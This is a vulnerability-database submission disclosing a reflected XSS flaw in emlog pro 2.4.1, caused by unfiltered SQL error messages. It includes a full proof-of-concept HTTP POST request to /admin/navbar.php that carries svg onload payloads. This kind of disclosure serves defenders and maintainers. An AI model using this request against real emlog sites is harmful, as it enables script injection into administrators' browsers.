| 标题 | emlog emlog pro 2.4.1 Cross-Site Scripting (XSS) |
|---|
| 描述 | Summary
A reflected Cross Site Scripting (XSS) vulnerability exists in emlog pro 2.4.1 due to improper sanitization of the $msg parameter in /include/lib/common.php.
Details
This vulnerability can be exploited by an attacker to inject malicious scripts into the web application, which can then be executed in the browsers of other users.
The vulnerability stems from improper filtering of SQL statement error messages in $msg.
image
POC
For example, in the /admin/navbar.php file, newtab expects data of integer type, and if it receives data of string type, it triggers an error.
The error message can contain the entire SQL statement, and a reflective XSS vulnerability can occur if the SQL statement contains any field that accepts the data passed in by the user.
In the example, the parameter naviname and url incoming fields are represented in the SQL statement.
POST /admin/navbar.php?action=add HTTP/1.1
Host: target-ip
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [admins'cookie]
Connection: keep-alive
naviname=<svg%20onload=alert(1)>&url=<svg%20onload=alert(2)>&pid=0&newtab=hebing123
image
ps: Of course, newtab can trigger itself. Just assign it to <svg%20onload=alert(2)> |
|---|
| 来源 | ⚠️ https://github.com/emlog/emlog/issues/306 |
|---|
| 用户 | jiashenghe (UID 39445) |
|---|
| 提交 | 2024-12-13 05時06分 (2 年前) |
|---|
| 管理 | 2024-12-20 13時36分 (7 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 289081 [Emlog Pro 直到 2.4.1 /include/lib/common.php msg 跨网站脚本] |
|---|
| 积分 | 20 |
|---|